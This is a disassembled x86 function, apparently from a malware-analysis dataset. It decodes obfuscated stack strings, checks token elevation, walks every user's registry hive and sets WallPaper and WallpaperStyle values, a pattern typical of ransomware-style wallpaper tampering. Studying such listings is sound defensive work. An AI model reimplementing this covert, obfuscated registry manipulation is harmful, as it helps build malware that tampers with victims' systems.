Function at 0x42b890
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x71c
mov eax, dword [0x462040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x654]
mov ebx, ecx
push eax
xor esi, esi
mov dword [ebp - 0x718], ebx
push 8
mov dword [ebp - 0x654], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x42b901
lea eax, [ebp - 0x65c]
mov dword [ebp - 0x65c], 4
push eax
push 4
lea eax, [ebp - 0x658]
push eax
push 0x14
push dword [ebp - 0x654]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne esi, dword [ebp - 0x658]
mov eax, dword [ebp - 0x654]
test eax, eax
je 0x42b912
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x42c373
mov byte [ebp - 0x714], 0
mov esi, 0x7f
mov byte [ebp - 0x713], 0xa
mov byte [ebp - 0x712], 0x26
mov byte [ebp - 0x711], 0x66
mov byte [ebp - 0x710], 0x26
mov byte [ebp - 0x70f], 0xd
mov byte [ebp - 0x70e], 0x26
mov byte [ebp - 0x70d], 0x68
mov byte [ebp - 0x70c], 0x26
mov byte [ebp - 0x70b], 0x51
mov byte [ebp - 0x70a], 0x26
mov byte [ebp - 0x709], 0x2c
mov byte [ebp - 0x708], 0x26
mov byte [ebp - 0x707], 0xc
mov byte [ebp - 0x706], 0x26
mov byte [ebp - 0x705], 0x41
mov byte [ebp - 0x704], 0x26
mov byte [ebp - 0x703], 0x51
mov byte [ebp - 0x702], 0x26
mov byte [ebp - 0x701], 0x61
mov byte [ebp - 0x700], 0x26
mov byte [ebp - 0x6ff], 0x4f
mov byte [ebp - 0x6fe], 0x26
mov byte [ebp - 0x6fd], 0x4d
mov byte [ebp - 0x6fc], 0x26
mov byte [ebp - 0x6fb], 0x47
mov byte [ebp - 0x6fa], 0x26
mov byte [ebp - 0x6f9], 0x2c
mov byte [ebp - 0x6f8], 0x26
mov byte [ebp - 0x6f7], 0x5c
mov byte [ebp - 0x6f6], 0x26
mov byte [ebp - 0x6f5], 0x61
mov byte [ebp - 0x6f4], 0x26
mov byte [ebp - 0x6f3], 0xd
mov byte [ebp - 0x6f2], 0x26
mov byte [ebp - 0x6f1], 0xe
mov byte [ebp - 0x6f0], 0x26
mov byte [ebp - 0x6ef], 0x5c
mov byte [ebp - 0x6ee], 0x26
mov byte [ebp - 0x6ed], 0x66
mov byte [ebp - 0x6ec], 0x26
mov byte [ebp - 0x6eb], 0x3c
mov byte [ebp - 0x6ea], 0x26
mov byte [ebp - 0x6e9], 0xc
mov byte [ebp - 0x6e8], 0x26
mov byte [ebp - 0x6e7], 0x51
mov byte [ebp - 0x6e6], 0x26
mov byte [ebp - 0x6e5], 0x76
mov byte [ebp - 0x6e4], 0x26
mov byte [ebp - 0x6e3], 0x26
mov byte [ebp - 0x6e2], 0x26
mov al, byte [ebp - 0x713]
mov al, byte [ebp - 0x714]
test al, al
jne 0x42bacf
xor esi, esi
lea edi, [esi + 0x7f]
nop dword [eax]
mov al, byte [ebp + esi - 0x713]
mov ecx, 0x26
movzx eax, al
sub ecx, eax
lea eax, [ecx + ecx*2]
shl eax, 3
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + esi - 0x713], dl
inc esi
cmp esi, 0x32
jb 0x42baa0
mov esi, edi
mov eax, dword [0x45edd4]
movups xmm0, xmmword [str.WallPaper]
mov dword [ebp - 8], eax
mov eax, dword [0x45edf0]
mov dword [ebp - 0x20], eax
mov ax, word [0x45edf4]
mov word [ebp - 0x1c], ax
lea eax, [ebp - 0x68c]
push eax
movups xmmword [ebp - 0x18], xmm0
push 0x20019
movups xmm0, xmmword [str.WallpaperStyle]
push 0
push 0x45eb8c
movups xmmword [ebp - 0x38], xmm0
push reloc.WS2_32.dll_closesocket
movq xmm0, qword [0x45ede8]
movq qword [ebp - 0x28], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x42c354
push 0x206
push eax
mov word [ebp - 0x448], ax
lea eax, [ebp - 0x446]
push eax
call fcn.00436bc0
add esp, 0xc
mov dword [ebp - 0x67c], 0x104
lea eax, [ebp - 0x688]
mov dword [ebp - 0x660], 0
mov dword [ebp - 0x678], 0
mov dword [ebp - 0x674], 0
push eax
lea eax, [ebp - 0x664]
mov dword [ebp - 0x670], 0
push eax
lea eax, [ebp - 0x668]
mov dword [ebp - 0x66c], 0
push eax
lea eax, [ebp - 0x66c]
mov dword [ebp - 0x668], 0
push eax
lea eax, [ebp - 0x670]
mov dword [ebp - 0x664], 0
push eax
lea eax, [ebp - 0x674]
push eax
lea eax, [ebp - 0x678]
push eax
lea eax, [ebp - 0x660]
push eax
push 0
lea eax, [ebp - 0x67c]
push eax
lea eax, [ebp - 0x448]
push eax
push dword [ebp - 0x68c]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
xor eax, eax
mov dword [ebp - 0x65c], eax
cmp dword [ebp - 0x660], eax
jbe 0x42c354
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
nop dword [eax]
lea ecx, [ebp - 0x688]
mov dword [ebp - 0x680], 0x104
push ecx
push 0
push 0
push 0
lea ecx, [ebp - 0x680]
push ecx
lea ecx, [ebp - 0x650]
push ecx
push eax
push dword [ebp - 0x68c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x42c336
lea eax, [ebp - 0x650]
push eax
push str.Found_sid:__s
call fcn.00421530
lea eax, [ebp - 0x650]
push eax
lea eax, [ebp - 0x713]
push eax
lea eax, [ebp - 0x240]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov byte [ebp - 0x6bc], 0
add esp, 0x14
mov byte [ebp - 0x6bb], 0x2a
mov byte [ebp - 0x6ba], 0x59
mov byte [ebp - 0x6b9], 0x6b
mov byte [ebp - 0x6b8], 0x59
mov byte [ebp - 0x6b7], 0x2f
mov byte [ebp - 0x6b6], 0x59
mov byte [ebp - 0x6b5], 0x72
mov byte [ebp - 0x6b4], 0x59
mov byte [ebp - 0x6b3], 0x44
mov byte [ebp - 0x6b2], 0x59
mov byte [ebp - 0x6b1], 0x26
mov byte [ebp - 0x6b0], 0x59
mov byte [ebp - 0x6af], 0x62
mov byte [ebp - 0x6ae], 0x59
mov byte [ebp - 0x6ad], 0xf
mov byte [ebp - 0x6ac], 0x59
mov byte [ebp - 0x6ab], 0x12
mov byte [ebp - 0x6aa], 0x59
mov byte [ebp - 0x6a9], 0x1f
mov byte [ebp - 0x6a8], 0x59
mov byte [ebp - 0x6a7], 0x64
mov byte [ebp - 0x6a6], 0x59
mov byte [ebp - 0x6a5], 0x26
mov byte [ebp - 0x6a4], 0x59
mov byte [ebp - 0x6a3], 0x11
mov byte [ebp - 0x6a2], 0x59
mov byte [ebp - 0x6a1], 0
mov byte [ebp - 0x6a0], 0x59
mov byte [ebp - 0x69f], 0x12
mov byte [ebp - 0x69e], 0x59
mov byte [ebp - 0x69d], 0x7a
mov byte [ebp - 0x69c], 0x59
mov byte [ebp - 0x69b], 0x44
mov byte [ebp - 0x69a], 0x59
mov byte [ebp - 0x699], 0x59
mov byte [ebp - 0x698], 0x59
mov al, byte [ebp - 0x6bb]
mov al, byte [ebp - 0x6bc]
test al, al
jne 0x42bdb6
xor ecx, ecx
nop
mov al, byte [ebp + ecx - 0x6bb]
movzx eax, al
sub eax, 0x59
imul eax, eax, 0x37
cdq
idiv esi
lea eax, [edx + 0x7f]
cdq
idiv esi
mov byte [ebp + ecx - 0x6bb], dl
inc ecx
cmp ecx, 0x24
jb 0x42bd90
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x6bb]
push eax
call fcn.00421530
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
lea eax, [ebp - 0x690]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x240]
add esi, esi
push eax
push reloc.WS2_32.dll_closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x42be02
push eax
call edi
xor ebx, ebx
jmp 0x42be43
push esi
push ebx
lea eax, [ebp - 0x18]
push eax
push 0x45ed88
call fcn.00421530
add esp, 0x10
lea eax, [ebp - 0x18]
push esi
push ebx
push 1
push 0
push eax
push dword [ebp - 0x690]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x690]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call edi
xor ebx, ebx
test esi, esi
sete bl
mov byte [ebp - 0x6d8], 0
mov byte [ebp - 0x6d7], 0x19
mov byte [ebp - 0x6d6], 0x2a
mov byte [ebp - 0x6d5], 0x6b
mov byte [ebp - 0x6d4], 0x2a
mov byte [ebp - 0x6d3], 6
mov byte [ebp - 0x6d2], 0x2a
mov byte [ebp - 0x6d1], 0x59
mov byte [ebp - 0x6d0], 0x2a
mov byte [ebp - 0x6cf], 0xf
mov byte [ebp - 0x6ce], 0x2a
mov byte [ebp - 0x6cd], 0x75
mov byte [ebp - 0x6cc], 0x2a
mov byte [ebp - 0x6cb], 0x1a
mov byte [ebp - 0x6ca], 0x2a
mov byte [ebp - 0x6c9], 0x1a
mov byte [ebp - 0x6c8], 0x2a
mov byte [ebp - 0x6c7], 0x60
mov byte [ebp - 0x6c6], 0x2a
mov byte [ebp - 0x6c5], 0x75
mov byte [ebp - 0x6c4], 0x2a
mov byte [ebp - 0x6c3], 0x10
mov byte [ebp - 0x6c2], 0x2a
mov byte [ebp - 0x6c1], 0x6b
mov byte [ebp - 0x6c0], 0x2a
mov byte [ebp - 0x6bf], 0xb
mov byte [ebp - 0x6be], 0x2a
mov byte [ebp - 0x6bd], 0x59
mov byte [ebp - 0x6bc], 0x2a
mov byte [ebp - 0x6bb], 0x48
mov byte [ebp - 0x6ba], 0x2a
mov byte [ebp - 0x6b9], 0x43
mov byte [ebp - 0x6b8], 0x2a
mov byte [ebp - 0x6b7], 0x70
mov byte [ebp - 0x6b6], 0x2a
mov byte [ebp - 0x6b5], 0x70
mov byte [ebp - 0x6b4], 0x2a
mov byte [ebp - 0x6b3], 0x6b
mov byte [ebp - 0x6b2], 0x2a
mov byte [ebp - 0x6b1], 0x48
mov byte [ebp - 0x6b0], 0x2a
mov byte [ebp - 0x6af], 0x48
mov byte [ebp - 0x6ae], 0x2a
mov byte [ebp - 0x6ad], 0x59
mov byte [ebp - 0x6ac], 0x2a
mov byte [ebp - 0x6ab], 0x50
mov byte [ebp - 0x6aa], 0x2a
mov byte [ebp - 0x6a9], 0x59
mov byte [ebp - 0x6a8], 0x2a
mov byte [ebp - 0x6a7], 0xd
mov byte [ebp - 0x6a6], 0x2a
mov byte [ebp - 0x6a5], 0x2e
mov byte [ebp - 0x6a4], 0x2a
mov byte [ebp - 0x6a3], 0x3b
mov byte [ebp - 0x6a2], 0x2a
mov byte [ebp - 0x6a1], 0x59
mov byte [ebp - 0x6a0], 0x2a
mov byte [ebp - 0x69f], 0xd
mov byte [ebp - 0x69e], 0x2a
mov byte [ebp - 0x69d], 0x2e
mov byte [ebp - 0x69c], 0x2a
mov byte [ebp - 0x69b], 0x2a
mov byte [ebp - 0x69a], 0x2a
mov al, byte [ebp - 0x6d7]
mov al, byte [ebp - 0x6d8]
test al, al
jne 0x42c037
xor ecx, ecx
lea esi, [ecx + 0x7f]
mov al, byte [ebp + ecx - 0x6d7]
movzx eax, al
sub eax, 0x2a
imul eax, eax, 0x19
cdq
idiv esi
lea eax, [edx + 0x7f]
cdq
idiv esi
mov byte [ebp + ecx - 0x6d7], dl
inc ecx
cmp ecx, 0x3e
jb 0x42c011
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x6d7]
push ebx
push eax
call fcn.00421530
add esp, 0xc
mov dword [ebp - 0x654], 0xa
lea eax, [ebp - 0x658]
push eax
push 0x20006
push 0
lea eax, [ebp - 0x240]
push eax
push reloc.WS2_32.dll_closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x42c083
push eax
call edi
xor edi, edi
jmp 0x42c0be
push 4
lea eax, [ebp - 0x654]
push eax
push 4
push 0
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0x658]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x658]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x42c0b9
push esi
call edi
xor edi, edi
jmp 0x42c0be
mov edi, 1
mov dword [ebp - 0x654], edi
mov byte [ebp - 0x6e0], 0
mov byte [ebp - 0x6df], 0x1c
mov byte [ebp - 0x6de], 0x41
mov byte [ebp - 0x6dd], 0x48
mov byte [ebp - 0x6dc], 0x41
mov byte [ebp - 0x6db], 0x18
mov byte [ebp - 0x6da], 0x41
mov byte [ebp - 0x6d9], 0x73
mov byte [ebp - 0x6d8], 0x41
mov byte [ebp - 0x6d7], 0x42
mov byte [ebp - 0x6d6], 0x41
mov byte [ebp - 0x6d5], 0x22
mov byte [ebp - 0x6d4], 0x41
mov byte [ebp - 0x6d3], 0x4b
mov byte [ebp - 0x6d2], 0x41
mov byte [ebp - 0x6d1], 0x4b
mov byte [ebp - 0x6d0], 0x41
mov byte [ebp - 0x6cf], 0x71
mov byte [ebp - 0x6ce], 0x41
mov byte [ebp - 0x6cd], 0x22
mov byte [ebp - 0x6cc], 0x41
mov byte [ebp - 0x6cb], 0x71
mov byte [ebp - 0x6ca], 0x41
mov byte [ebp - 0x6c9], 0x48
mov byte [ebp - 0x6c8], 0x41
mov byte [ebp - 0x6c7], 5
mov byte [ebp - 0x6c6], 0x41
mov byte [ebp - 0x6c5], 0x1c
mov byte [ebp - 0x6c4], 0x41
mov byte [ebp - 0x6c3], 0x18
mov byte [ebp - 0x6c2], 0x41
mov byte [ebp - 0x6c1], 8
mov byte [ebp - 0x6c0], 0x41
mov byte [ebp - 0x6bf], 0x4b
mov byte [ebp - 0x6be], 0x41
mov byte [ebp - 0x6bd], 0x48
mov byte [ebp - 0x6bc], 0x41
mov byte [ebp - 0x6bb], 0x73
mov byte [ebp - 0x6ba], 0x41
mov byte [ebp - 0x6b9], 0x4e
mov byte [ebp - 0x6b8], 0x41
mov byte [ebp - 0x6b7], 0x61
mov byte [ebp - 0x6b6], 0x41
mov byte [ebp - 0x6b5], 0x35
mov byte [ebp - 0x6b4], 0x41
mov byte [ebp - 0x6b3], 0x35
mov byte [ebp - 0x6b2], 0x41
mov byte [ebp - 0x6b1], 0x48
mov byte [ebp - 0x6b0], 0x41
mov byte [ebp - 0x6af], 0x4e
mov byte [ebp - 0x6ae], 0x41
mov byte [ebp - 0x6ad], 0x4e
mov byte [ebp - 0x6ac], 0x41
mov byte [ebp - 0x6ab], 0x73
mov byte [ebp - 0x6aa], 0x41
mov byte [ebp - 0x6a9], 0x49
mov byte [ebp - 0x6a8], 0x41
mov byte [ebp - 0x6a7], 0x73
mov byte [ebp - 0x6a6], 0x41
mov byte [ebp - 0x6a5], 0x63
mov byte [ebp - 0x6a4], 0x41
mov byte [ebp - 0x6a3], 0x7e
mov byte [ebp - 0x6a2], 0x41
mov byte [ebp - 0x6a1], 0x66
mov byte [ebp - 0x6a0], 0x41
mov byte [ebp - 0x69f], 0x73
mov byte [ebp - 0x69e], 0x41
mov byte [ebp - 0x69d], 0x63
mov byte [ebp - 0x69c], 0x41
mov byte [ebp - 0x69b], 0x7e
mov byte [ebp - 0x69a], 0x41
mov byte [ebp - 0x699], 0x41
mov byte [ebp - 0x698], 0x41
mov al, byte [ebp - 0x6df]
mov al, byte [ebp - 0x6e0]
test al, al
jne 0x42c313
xor esi, esi
lea edi, [esi + 0x7f]
nop dword [eax + eax]
mov al, byte [ebp + esi - 0x6df]
mov ecx, 0x41
movzx eax, al
sub ecx, eax
lea eax, [ecx + ecx*4]
shl eax, 3
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + esi - 0x6df], dl
inc esi
cmp esi, 0x48
jb 0x42c2e0
mov edi, dword [ebp - 0x654]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x6df]
push edi
push eax
call fcn.00421530
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
add esp, 0xc
mov ebx, dword [ebp - 0x718]
mov eax, dword [ebp - 0x65c]
mov esi, 0x7f
inc eax
mov dword [ebp - 0x65c], eax
cmp eax, dword [ebp - 0x660]
jb 0x42bc10
push dword [ebp - 0x68c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00434f21
mov esp, ebp
pop ebp
ret
push 1
push ebx
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00434f21
mov esp, ebp
pop ebp
ret